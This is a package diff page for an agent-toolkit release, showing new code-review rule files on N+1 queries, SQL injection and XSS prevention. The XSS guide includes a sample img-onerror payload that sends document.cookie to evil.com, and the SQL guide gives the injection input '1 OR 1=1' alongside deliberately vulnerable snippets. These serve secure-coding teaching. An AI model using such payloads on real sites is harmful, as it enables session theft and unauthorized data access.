@ranimontagna/agent-toolkit 0.1.6 → 0.1.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (108) hide show
  1. package/README.md +83 -10
  2. package/package.json +1 -1
  3. package/skills/backend/database/postgres-patterns/LICENSE.ANTIGRAVITY +21 -0
  4. package/skills/backend/database/postgres-patterns/LICENSE.ECC +21 -0
  5. package/skills/backend/database/postgres-patterns/NOTICE.md +11 -0
  6. package/skills/backend/database/postgres-patterns/SKILL.md +180 -0
  7. package/skills/backend/go/golang-patterns/LICENSE +21 -0
  8. package/skills/backend/go/golang-patterns/NOTICE.md +10 -0
  9. package/skills/backend/go/golang-patterns/SKILL.md +674 -0
  10. package/skills/backend/go/golang-testing/LICENSE +21 -0
  11. package/skills/backend/go/golang-testing/NOTICE.md +10 -0
  12. package/skills/backend/go/golang-testing/SKILL.md +329 -0
  13. package/skills/backend/java/java-coding-standards/LICENSE +21 -0
  14. package/skills/backend/java/java-coding-standards/NOTICE.md +10 -0
  15. package/skills/backend/java/java-coding-standards/SKILL.md +383 -0
  16. package/skills/backend/java/java-junit/LICENSE +21 -0
  17. package/skills/backend/java/java-junit/NOTICE.md +10 -0
  18. package/skills/backend/java/java-junit/SKILL.md +64 -0
  19. package/skills/backend/kotlin/kotlin-patterns/LICENSE +21 -0
  20. package/skills/backend/kotlin/kotlin-patterns/NOTICE.md +7 -0
  21. package/skills/backend/kotlin/kotlin-patterns/SKILL.md +711 -0
  22. package/skills/backend/kotlin/kotlin-testing/LICENSE +21 -0
  23. package/skills/backend/kotlin/kotlin-testing/NOTICE.md +7 -0
  24. package/skills/backend/kotlin/kotlin-testing/SKILL.md +824 -0
  25. package/skills/backend/python/python-patterns/LICENSE +21 -0
  26. package/skills/backend/python/python-patterns/NOTICE.md +7 -0
  27. package/skills/backend/python/python-patterns/SKILL.md +424 -0
  28. package/skills/backend/python/python-testing/LICENSE +21 -0
  29. package/skills/backend/python/python-testing/NOTICE.md +7 -0
  30. package/skills/backend/python/python-testing/SKILL.md +494 -0
  31. package/skills/devops/docker-patterns/LICENSE.ANTIGRAVITY +21 -0
  32. package/skills/devops/docker-patterns/LICENSE.ECC +21 -0
  33. package/skills/devops/docker-patterns/NOTICE.md +11 -0
  34. package/skills/devops/docker-patterns/SKILL.md +397 -0
  35. package/skills/frontend/accessibility/LICENSE +21 -0
  36. package/skills/frontend/accessibility/NOTICE.md +10 -0
  37. package/skills/frontend/accessibility/SKILL.md +145 -0
  38. package/skills/frontend/design/ui-ux-pro-max/LICENSE +21 -0
  39. package/skills/frontend/design/ui-ux-pro-max/NOTICE.md +12 -0
  40. package/skills/frontend/design/ui-ux-pro-max/SKILL.md +672 -0
  41. package/skills/frontend/design/ui-ux-pro-max/data/_sync_all.py +414 -0
  42. package/skills/frontend/design/ui-ux-pro-max/data/app-interface.csv +31 -0
  43. package/skills/frontend/design/ui-ux-pro-max/data/charts.csv +26 -0
  44. package/skills/frontend/design/ui-ux-pro-max/data/colors.csv +162 -0
  45. package/skills/frontend/design/ui-ux-pro-max/data/design.csv +1776 -0
  46. package/skills/frontend/design/ui-ux-pro-max/data/draft.csv +1779 -0
  47. package/skills/frontend/design/ui-ux-pro-max/data/google-fonts.csv +1924 -0
  48. package/skills/frontend/design/ui-ux-pro-max/data/icons.csv +106 -0
  49. package/skills/frontend/design/ui-ux-pro-max/data/landing.csv +35 -0
  50. package/skills/frontend/design/ui-ux-pro-max/data/products.csv +162 -0
  51. package/skills/frontend/design/ui-ux-pro-max/data/react-performance.csv +45 -0
  52. package/skills/frontend/design/ui-ux-pro-max/data/stacks/angular.csv +51 -0
  53. package/skills/frontend/design/ui-ux-pro-max/data/stacks/astro.csv +54 -0
  54. package/skills/frontend/design/ui-ux-pro-max/data/stacks/flutter.csv +53 -0
  55. package/skills/frontend/design/ui-ux-pro-max/data/stacks/html-tailwind.csv +56 -0
  56. package/skills/frontend/design/ui-ux-pro-max/data/stacks/jetpack-compose.csv +53 -0
  57. package/skills/frontend/design/ui-ux-pro-max/data/stacks/laravel.csv +51 -0
  58. package/skills/frontend/design/ui-ux-pro-max/data/stacks/nextjs.csv +53 -0
  59. package/skills/frontend/design/ui-ux-pro-max/data/stacks/nuxt-ui.csv +51 -0
  60. package/skills/frontend/design/ui-ux-pro-max/data/stacks/nuxtjs.csv +59 -0
  61. package/skills/frontend/design/ui-ux-pro-max/data/stacks/react-native.csv +52 -0
  62. package/skills/frontend/design/ui-ux-pro-max/data/stacks/react.csv +54 -0
  63. package/skills/frontend/design/ui-ux-pro-max/data/stacks/shadcn.csv +61 -0
  64. package/skills/frontend/design/ui-ux-pro-max/data/stacks/svelte.csv +54 -0
  65. package/skills/frontend/design/ui-ux-pro-max/data/stacks/swiftui.csv +51 -0
  66. package/skills/frontend/design/ui-ux-pro-max/data/stacks/threejs.csv +54 -0
  67. package/skills/frontend/design/ui-ux-pro-max/data/stacks/vue.csv +50 -0
  68. package/skills/frontend/design/ui-ux-pro-max/data/styles.csv +85 -0
  69. package/skills/frontend/design/ui-ux-pro-max/data/typography.csv +74 -0
  70. package/skills/frontend/design/ui-ux-pro-max/data/ui-reasoning.csv +162 -0
  71. package/skills/frontend/design/ui-ux-pro-max/data/ux-guidelines.csv +100 -0
  72. package/skills/frontend/design/ui-ux-pro-max/scripts/core.py +262 -0
  73. package/skills/frontend/design/ui-ux-pro-max/scripts/design_system.py +1148 -0
  74. package/skills/frontend/design/ui-ux-pro-max/scripts/search.py +114 -0
  75. package/skills/frontend/react/react-patterns/SKILL.md +4 -4
  76. package/skills/frontend/react/react-patterns/rules/react/LICENSE +21 -0
  77. package/skills/frontend/react/react-patterns/rules/react/NOTICE.md +11 -0
  78. package/skills/frontend/react/react-patterns/rules/react/coding-style.md +109 -0
  79. package/skills/frontend/react/react-patterns/rules/react/hooks.md +187 -0
  80. package/skills/frontend/react/react-patterns/rules/react/patterns.md +194 -0
  81. package/skills/frontend/react/react-patterns/rules/react/security.md +180 -0
  82. package/skills/frontend/react/react-patterns/rules/react/testing.md +208 -0
  83. package/skills/frontend/react/react-performance/SKILL.md +2 -2
  84. package/skills/frontend/react/react-performance/rules/react/LICENSE +21 -0
  85. package/skills/frontend/react/react-performance/rules/react/NOTICE.md +11 -0
  86. package/skills/frontend/react/react-performance/rules/react/coding-style.md +109 -0
  87. package/skills/frontend/react/react-performance/rules/react/hooks.md +187 -0
  88. package/skills/frontend/react/react-performance/rules/react/patterns.md +194 -0
  89. package/skills/frontend/react/react-performance/rules/react/security.md +180 -0
  90. package/skills/frontend/react/react-performance/rules/react/testing.md +208 -0
  91. package/skills/frontend/react/react-testing/SKILL.md +4 -4
  92. package/skills/frontend/react/react-testing/rules/react/LICENSE +21 -0
  93. package/skills/frontend/react/react-testing/rules/react/NOTICE.md +11 -0
  94. package/skills/frontend/react/react-testing/rules/react/coding-style.md +109 -0
  95. package/skills/frontend/react/react-testing/rules/react/hooks.md +187 -0
  96. package/skills/frontend/react/react-testing/rules/react/patterns.md +194 -0
  97. package/skills/frontend/react/react-testing/rules/react/security.md +180 -0
  98. package/skills/frontend/react/react-testing/rules/react/testing.md +208 -0
  99. package/skills/general/code-reviewer/AGENTS.md +292 -0
  100. package/skills/general/code-reviewer/LICENSE +201 -0
  101. package/skills/general/code-reviewer/NOTICE.md +10 -0
  102. package/skills/general/code-reviewer/SKILL.md +132 -0
  103. package/skills/general/code-reviewer/rules/correctness-error-handling.md +279 -0
  104. package/skills/general/code-reviewer/rules/maintainability-naming.md +149 -0
  105. package/skills/general/code-reviewer/rules/maintainability-type-hints.md +93 -0
  106. package/skills/general/code-reviewer/rules/performance-n-plus-one.md +250 -0
  107. package/skills/general/code-reviewer/rules/security-sql-injection.md +142 -0
  108. package/skills/general/code-reviewer/rules/security-xss-prevention.md +225 -0
@@ -0,0 +1,250 @@
1
+ ---
2
+ title: Avoid N+1 Query Problem
3
+ impact: HIGH
4
+ category: performance
5
+ tags: database, performance, orm, queries
6
+ ---
7
+
8
+ # Avoid N+1 Query Problem
9
+
10
+ The N+1 query problem occurs when code executes 1 query to fetch a list, then N additional queries to fetch related data for each item. This causes severe performance degradation.
11
+
12
+ ## Why This Matters
13
+
14
+ N+1 queries are one of the most common performance problems:
15
+ - **10 items** → 11 queries (1 + 10)
16
+ - **100 items** → 101 queries (1 + 100)
17
+ - **1000 items** → 1001 queries (1 + 1000)
18
+
19
+ Each query has network latency (~1-50ms), so 1000 queries = 1-50 seconds of waiting!
20
+
21
+ ## ❌ Incorrect
22
+
23
+ **Problem:** Fetching related data inside a loop.
24
+
25
+ ### Python (Django ORM)
26
+ ```python
27
+ # ❌ N+1 queries
28
+ def get_posts_with_authors():
29
+ posts = Post.objects.all() # 1 query: SELECT * FROM posts
30
+
31
+ for post in posts:
32
+ # N queries (one per post): SELECT * FROM users WHERE id = ?
33
+ print(f"{post.title} by {post.author.name}")
34
+
35
+ return posts
36
+
37
+ # With 100 posts: 101 database queries!
38
+ ```
39
+
40
+ ### JavaScript (Sequelize)
41
+ ```javascript
42
+ // ❌ N+1 queries
43
+ async function getPostsWithAuthors() {
44
+ const posts = await Post.findAll(); // 1 query
45
+
46
+ for (const post of posts) {
47
+ // N queries
48
+ const author = await User.findByPk(post.authorId);
49
+ console.log(`${post.title} by ${author.name}`);
50
+ }
51
+ }
52
+ ```
53
+
54
+ ### GraphQL (Common Mistake)
55
+ ```javascript
56
+ // ❌ N+1 queries in resolvers
57
+ const resolvers = {
58
+ Query: {
59
+ posts: () => db.posts.findAll() // 1 query
60
+ },
61
+ Post: {
62
+ // Runs for EACH post!
63
+ author: (post) => db.users.findById(post.authorId) // N queries
64
+ }
65
+ };
66
+ ```
67
+
68
+ ## ✅ Correct
69
+
70
+ ### Solution 1: Eager Loading / Join Fetching
71
+
72
+ **Python (Django)**
73
+ ```python
74
+ # ✅ 1 query with JOIN
75
+ def get_posts_with_authors():
76
+ posts = Post.objects.select_related('author').all()
77
+ # Single query: SELECT * FROM posts JOIN users ON posts.author_id = users.id
78
+
79
+ for post in posts:
80
+ print(f"{post.title} by {post.author.name}") # No extra query!
81
+
82
+ return posts
83
+ ```
84
+
85
+ **Python (SQLAlchemy)**
86
+ ```python
87
+ # ✅ 1 query with JOIN
88
+ from sqlalchemy.orm import joinedload
89
+
90
+ posts = session.query(Post).options(joinedload(Post.author)).all()
91
+ ```
92
+
93
+ **JavaScript (Sequelize)**
94
+ ```javascript
95
+ // ✅ 1 query with JOIN
96
+ const posts = await Post.findAll({
97
+ include: [{
98
+ model: User,
99
+ as: 'author'
100
+ }]
101
+ });
102
+
103
+ posts.forEach(post => {
104
+ console.log(`${post.title} by ${post.author.name}`); // No extra query!
105
+ });
106
+ ```
107
+
108
+ **JavaScript (Prisma)**
109
+ ```javascript
110
+ // ✅ 1 query with JOIN
111
+ const posts = await prisma.post.findMany({
112
+ include: {
113
+ author: true
114
+ }
115
+ });
116
+ ```
117
+
118
+ ### Solution 2: Batching / DataLoader (for GraphQL)
119
+
120
+ ```javascript
121
+ // ✅ Using DataLoader to batch queries
122
+ const DataLoader = require('dataloader');
123
+
124
+ const userLoader = new DataLoader(async (userIds) => {
125
+ // Called once with all user IDs: [1, 2, 3, 4, ...]
126
+ const users = await db.users.findAll({
127
+ where: { id: { in: userIds } }
128
+ });
129
+
130
+ // Return in same order as requested
131
+ return userIds.map(id => users.find(u => u.id === id));
132
+ });
133
+
134
+ const resolvers = {
135
+ Post: {
136
+ author: (post) => userLoader.load(post.authorId) // Batched!
137
+ }
138
+ };
139
+
140
+ // 100 posts → 2 queries (1 for posts, 1 batched for all authors)
141
+ ```
142
+
143
+ ### Solution 3: Prefetch IDs, Then Batch
144
+
145
+ ```python
146
+ # ✅ Fetch all at once
147
+ def get_posts_with_authors():
148
+ posts = Post.objects.all()
149
+
150
+ # Get all unique author IDs
151
+ author_ids = {post.author_id for post in posts}
152
+
153
+ # Single query for all authors
154
+ authors = User.objects.filter(id__in=author_ids)
155
+ author_map = {author.id: author for author in authors}
156
+
157
+ # Attach authors to posts
158
+ for post in posts:
159
+ post.author = author_map[post.author_id]
160
+
161
+ return posts
162
+
163
+ # 2 queries total (much better than N+1)
164
+ ```
165
+
166
+ ## Many-to-Many Relationships
167
+
168
+ **❌ N+1 with many-to-many**
169
+ ```python
170
+ # ❌ Bad
171
+ posts = Post.objects.all()
172
+ for post in posts:
173
+ tags = post.tags.all() # N queries!
174
+ ```
175
+
176
+ **✅ Prefetch many-to-many**
177
+ ```python
178
+ # ✅ Good
179
+ posts = Post.objects.prefetch_related('tags').all()
180
+ for post in posts:
181
+ tags = post.tags.all() # No extra queries!
182
+
183
+ # Uses 2 queries:
184
+ # 1. SELECT * FROM posts
185
+ # 2. SELECT * FROM tags WHERE post_id IN (1,2,3,...)
186
+ ```
187
+
188
+ ## Detecting N+1 Queries
189
+
190
+ ### Django Debug Toolbar
191
+ ```python
192
+ # settings.py
193
+ INSTALLED_APPS = ['debug_toolbar', ...]
194
+
195
+ # Shows exact queries executed
196
+ # Highlights duplicate queries
197
+ ```
198
+
199
+ ### Query Logging
200
+ ```python
201
+ # Python: log all queries
202
+ import logging
203
+ logging.basicConfig()
204
+ logging.getLogger('sqlalchemy.engine').setLevel(logging.INFO)
205
+ ```
206
+
207
+ ```javascript
208
+ // Sequelize: log queries
209
+ const sequelize = new Sequelize({
210
+ logging: console.log // or custom logger
211
+ });
212
+ ```
213
+
214
+ ### Profiling Tools
215
+ - **Django**: django-silk, django-debug-toolbar
216
+ - **Rails**: bullet gem
217
+ - **Node.js**: Sequelize logging, Prisma debug mode
218
+ - **GraphQL**: graphql-query-complexity
219
+
220
+ ## Performance Comparison
221
+
222
+ ```
223
+ Test: Fetch 100 posts with authors
224
+
225
+ N+1 Queries (101 queries):
226
+ - Local DB: ~101ms (1ms per query)
227
+ - Remote DB: ~5.1s (50ms latency × 101)
228
+
229
+ Eager Loading (1 query):
230
+ - Local DB: ~10ms
231
+ - Remote DB: ~50ms
232
+
233
+ 🚀 10-100x faster!
234
+ ```
235
+
236
+ ## Best Practices
237
+
238
+ - [ ] **Use eager loading** (`select_related`, `prefetch_related`, `include`)
239
+ - [ ] **Batch queries** when eager loading not possible
240
+ - [ ] **Use DataLoader** for GraphQL
241
+ - [ ] **Enable query logging** in development
242
+ - [ ] **Set up monitoring** for query counts in production
243
+ - [ ] **Add tests** to verify query counts
244
+
245
+ ## References
246
+
247
+ - [Django select_related/prefetch_related](https://docs.djangoproject.com/en/stable/ref/models/querysets/#select-related)
248
+ - [Sequelize Eager Loading](https://sequelize.org/docs/v6/advanced-association-concepts/eager-loading/)
249
+ - [DataLoader for GraphQL](https://github.com/graphql/dataloader)
250
+ - [Bullet gem (Rails)](https://github.com/flyerhzm/bullet)
@@ -0,0 +1,142 @@
1
+ ---
2
+ title: SQL Injection Prevention
3
+ impact: CRITICAL
4
+ category: security
5
+ tags: sql, security, injection, database
6
+ ---
7
+
8
+ # SQL Injection Prevention
9
+
10
+ Never construct SQL queries with string concatenation or f-strings. Always use parameterized queries to prevent SQL injection attacks.
11
+
12
+ ## Why This Matters
13
+
14
+ SQL injection is one of the most common and dangerous web vulnerabilities. Attackers can:
15
+ - Access unauthorized data
16
+ - Modify or delete database records
17
+ - Execute admin operations on the database
18
+ - In some cases, issue commands to the OS
19
+
20
+ ## ❌ Incorrect
21
+
22
+ **Problem:** User input directly interpolated into SQL query.
23
+
24
+ ```python
25
+ def get_user(user_id):
26
+ query = f"SELECT * FROM users WHERE id = {user_id}"
27
+ result = db.execute(query)
28
+ return result
29
+
30
+ # Vulnerable to: get_user("1 OR 1=1")
31
+ # Executes: SELECT * FROM users WHERE id = 1 OR 1=1
32
+ # Returns all users!
33
+ ```
34
+
35
+ **Why it's dangerous:**
36
+ - Attacker can inject arbitrary SQL
37
+ - Can bypass authentication
38
+ - Can extract entire database
39
+ - Simple user input becomes code execution
40
+
41
+ ## ✅ Correct
42
+
43
+ **Solution:** Use parameterized queries (prepared statements).
44
+
45
+ ```python
46
+ def get_user(user_id: int) -> Optional[Dict[str, Any]]:
47
+ """Safely retrieve user by ID.
48
+
49
+ Args:
50
+ user_id: User ID to look up
51
+
52
+ Returns:
53
+ User record or None if not found
54
+ """
55
+ query = "SELECT * FROM users WHERE id = ?"
56
+ result = db.execute(query, (user_id,))
57
+ return result.fetchone() if result else None
58
+
59
+ # Safe: user_id is treated as data, not code
60
+ # Even malicious input is harmless
61
+ ```
62
+
63
+ **Why it's safe:**
64
+ - Parameters are escaped automatically
65
+ - Input treated as data, never as code
66
+ - Database driver handles sanitization
67
+ - No way to inject SQL syntax
68
+
69
+ ## Framework-Specific Solutions
70
+
71
+ ### SQLAlchemy (Python)
72
+ ```python
73
+ from sqlalchemy import select, text
74
+
75
+ # ✅ Using ORM
76
+ user = session.query(User).filter(User.id == user_id).first()
77
+
78
+ # ✅ Using Core with parameters
79
+ query = select(users).where(users.c.id == user_id)
80
+
81
+ # ✅ Using text() with bound parameters
82
+ query = text("SELECT * FROM users WHERE id = :id")
83
+ result = session.execute(query, {"id": user_id})
84
+ ```
85
+
86
+ ### Django (Python)
87
+ ```python
88
+ # ✅ Using ORM
89
+ User.objects.get(id=user_id)
90
+
91
+ # ✅ Using raw SQL with parameters
92
+ User.objects.raw("SELECT * FROM users WHERE id = %s", [user_id])
93
+ ```
94
+
95
+ ### Node.js (PostgreSQL)
96
+ ```javascript
97
+ // ✅ Using parameterized query
98
+ const result = await client.query(
99
+ 'SELECT * FROM users WHERE id = $1',
100
+ [userId]
101
+ );
102
+ ```
103
+
104
+ ### Node.js (MySQL)
105
+ ```javascript
106
+ // ✅ Using placeholder
107
+ const [rows] = await connection.execute(
108
+ 'SELECT * FROM users WHERE id = ?',
109
+ [userId]
110
+ );
111
+ ```
112
+
113
+ ## Additional Best Practices
114
+
115
+ 1. **Validate input types**
116
+ ```python
117
+ def get_user(user_id: int) -> Optional[User]:
118
+ if not isinstance(user_id, int):
119
+ raise ValueError("user_id must be an integer")
120
+ # ... query
121
+ ```
122
+
123
+ 2. **Use ORMs when possible**
124
+ - ORMs handle parameterization automatically
125
+ - Reduces risk of manual SQL errors
126
+ - Provides abstraction and type safety
127
+
128
+ 3. **Principle of least privilege**
129
+ - Database users should have minimal permissions
130
+ - Read-only accounts for SELECT operations
131
+ - Limits damage from successful injection
132
+
133
+ 4. **Input validation as defense-in-depth**
134
+ - Parameterization is primary defense
135
+ - Validation provides additional layer
136
+ - Whitelist allowed characters/patterns
137
+
138
+ ## References
139
+
140
+ - [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
141
+ - [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html)
142
+ - [SQLAlchemy SQL Injection Prevention](https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql)
@@ -0,0 +1,225 @@
1
+ ---
2
+ title: XSS Prevention
3
+ impact: CRITICAL
4
+ category: security
5
+ tags: xss, security, html, javascript
6
+ ---
7
+
8
+ # Cross-Site Scripting (XSS) Prevention
9
+
10
+ Never insert unsanitized user input into HTML. Always escape output or use frameworks that auto-escape by default.
11
+
12
+ ## Why This Matters
13
+
14
+ XSS allows attackers to inject malicious scripts into web pages viewed by other users, enabling:
15
+ - Session hijacking (stealing cookies/tokens)
16
+ - Credential theft (keylogging, form hijacking)
17
+ - Defacement
18
+ - Phishing attacks
19
+ - Malware distribution
20
+
21
+ ## ❌ Incorrect
22
+
23
+ **Problem:** User input inserted directly into HTML without escaping.
24
+
25
+ ```javascript
26
+ // React - dangerous!
27
+ function UserProfile({ user }) {
28
+ return (
29
+ <div dangerouslySetInnerHTML={{ __html: user.bio }} />
30
+ );
31
+ }
32
+
33
+ // Vanilla JS - dangerous!
34
+ document.getElementById('username').innerHTML = userInput;
35
+
36
+ // Template literal - dangerous!
37
+ const html = `<div>Hello ${username}</div>`;
38
+ ```
39
+
40
+ **Attack example:**
41
+ ```javascript
42
+ const maliciousInput = '<img src=x onerror="fetch(\'https://evil.com?cookie=\'+document.cookie)">';
43
+ // If inserted without escaping, runs attacker's JavaScript
44
+ ```
45
+
46
+ ## ✅ Correct
47
+
48
+ ### React (Auto-escaping)
49
+ ```jsx
50
+ function UserProfile({ user }) {
51
+ // ✅ React auto-escapes by default
52
+ return <div>{user.bio}</div>;
53
+ }
54
+
55
+ // If HTML is necessary, sanitize first
56
+ import DOMPurify from 'dompurify';
57
+
58
+ function UserProfile({ user }) {
59
+ const sanitizedBio = DOMPurify.sanitize(user.bio);
60
+ return (
61
+ <div dangerouslySetInnerHTML={{ __html: sanitizedBio }} />
62
+ );
63
+ }
64
+ ```
65
+
66
+ ### Vanilla JavaScript
67
+ ```javascript
68
+ // ✅ Use textContent for plain text
69
+ element.textContent = userInput;
70
+
71
+ // ✅ Create elements safely
72
+ const div = document.createElement('div');
73
+ div.textContent = username;
74
+ container.appendChild(div);
75
+
76
+ // ✅ If HTML needed, sanitize first
77
+ import DOMPurify from 'dompurify';
78
+ element.innerHTML = DOMPurify.sanitize(userHtml);
79
+ ```
80
+
81
+ ### Backend (Express + Template Engines)
82
+ ```javascript
83
+ // ✅ Template engines auto-escape
84
+ // EJS
85
+ <div><%= username %></div> // Escaped
86
+ <div><%- username %></div> // NOT escaped (dangerous)
87
+
88
+ // Handlebars
89
+ <div>{{username}}</div> // Escaped
90
+ <div>{{{username}}}</div> // NOT escaped (dangerous)
91
+
92
+ // Pug
93
+ div= username // Escaped
94
+ div!= username // NOT escaped (dangerous)
95
+ ```
96
+
97
+ ### Python (Flask/Jinja2)
98
+ ```python
99
+ from markupsafe import escape
100
+
101
+ # ✅ Manual escaping
102
+ @app.route('/user/<username>')
103
+ def user_profile(username):
104
+ return f'<h1>Hello {escape(username)}</h1>'
105
+
106
+ # ✅ Jinja2 auto-escapes
107
+ # template.html
108
+ <h1>Hello {{ username }}</h1> {# Escaped #}
109
+ <h1>Hello {{ username|safe }}</h1> {# NOT escaped #}
110
+ ```
111
+
112
+ ## Types of XSS
113
+
114
+ ### 1. Reflected XSS
115
+ ```javascript
116
+ // ❌ Dangerous: reflects URL parameter into page
117
+ app.get('/search', (req, res) => {
118
+ const query = req.query.q;
119
+ res.send(`<h1>Results for: ${query}</h1>`);
120
+ });
121
+
122
+ // ✅ Safe: escape output
123
+ app.get('/search', (req, res) => {
124
+ const query = escape(req.query.q);
125
+ res.send(`<h1>Results for: ${query}</h1>`);
126
+ });
127
+ ```
128
+
129
+ ### 2. Stored XSS
130
+ ```javascript
131
+ // ❌ Dangerous: stores unsanitized input
132
+ app.post('/comment', async (req, res) => {
133
+ await db.comments.insert({ text: req.body.comment });
134
+ });
135
+
136
+ // Later displayed without escaping
137
+ app.get('/comments', async (req, res) => {
138
+ const comments = await db.comments.find();
139
+ const html = comments.map(c => `<p>${c.text}</p>`).join('');
140
+ res.send(html);
141
+ });
142
+
143
+ // ✅ Safe: sanitize on input and escape on output
144
+ import DOMPurify from 'isomorphic-dompurify';
145
+
146
+ app.post('/comment', async (req, res) => {
147
+ const sanitized = DOMPurify.sanitize(req.body.comment);
148
+ await db.comments.insert({ text: sanitized });
149
+ });
150
+ ```
151
+
152
+ ### 3. DOM-based XSS
153
+ ```javascript
154
+ // ❌ Dangerous: uses URL fragment in DOM manipulation
155
+ const username = location.hash.substring(1);
156
+ document.getElementById('welcome').innerHTML = `Hello ${username}`;
157
+
158
+ // ✅ Safe: use textContent
159
+ const username = location.hash.substring(1);
160
+ document.getElementById('welcome').textContent = `Hello ${username}`;
161
+ ```
162
+
163
+ ## Content Security Policy (CSP)
164
+
165
+ Add defense-in-depth with CSP headers:
166
+
167
+ ```javascript
168
+ // Express middleware
169
+ app.use((req, res, next) => {
170
+ res.setHeader(
171
+ 'Content-Security-Policy',
172
+ "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';"
173
+ );
174
+ next();
175
+ });
176
+ ```
177
+
178
+ **What CSP prevents:**
179
+ - Inline scripts from executing
180
+ - Scripts from unauthorized domains
181
+ - eval() and similar dangerous functions
182
+
183
+ ## Sanitization Libraries
184
+
185
+ ### DOMPurify (Browser & Node.js)
186
+ ```javascript
187
+ import DOMPurify from 'dompurify';
188
+
189
+ // Basic sanitization
190
+ const clean = DOMPurify.sanitize(dirty);
191
+
192
+ // Custom config
193
+ const clean = DOMPurify.sanitize(dirty, {
194
+ ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
195
+ ALLOWED_ATTR: ['href']
196
+ });
197
+ ```
198
+
199
+ ### bleach (Python)
200
+ ```python
201
+ import bleach
202
+
203
+ clean = bleach.clean(
204
+ dirty_html,
205
+ tags=['p', 'b', 'i', 'strong', 'em', 'a'],
206
+ attributes={'a': ['href', 'title']},
207
+ strip=True
208
+ )
209
+ ```
210
+
211
+ ## Best Practices Checklist
212
+
213
+ - [ ] **Use framework auto-escaping** (React, Vue, Angular, etc.)
214
+ - [ ] **Never use `innerHTML` with user input**
215
+ - [ ] **Sanitize HTML** if rich text is required (DOMPurify)
216
+ - [ ] **Implement CSP headers**
217
+ - [ ] **Validate input on server** (defense-in-depth)
218
+ - [ ] **Use HTTPOnly cookies** (prevents JavaScript access)
219
+ - [ ] **Encode output** for correct context (HTML, JS, URL, CSS)
220
+
221
+ ## References
222
+
223
+ - [OWASP XSS Prevention Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)
224
+ - [DOMPurify Documentation](https://github.com/cure53/DOMPurify)
225
+ - [Content Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP)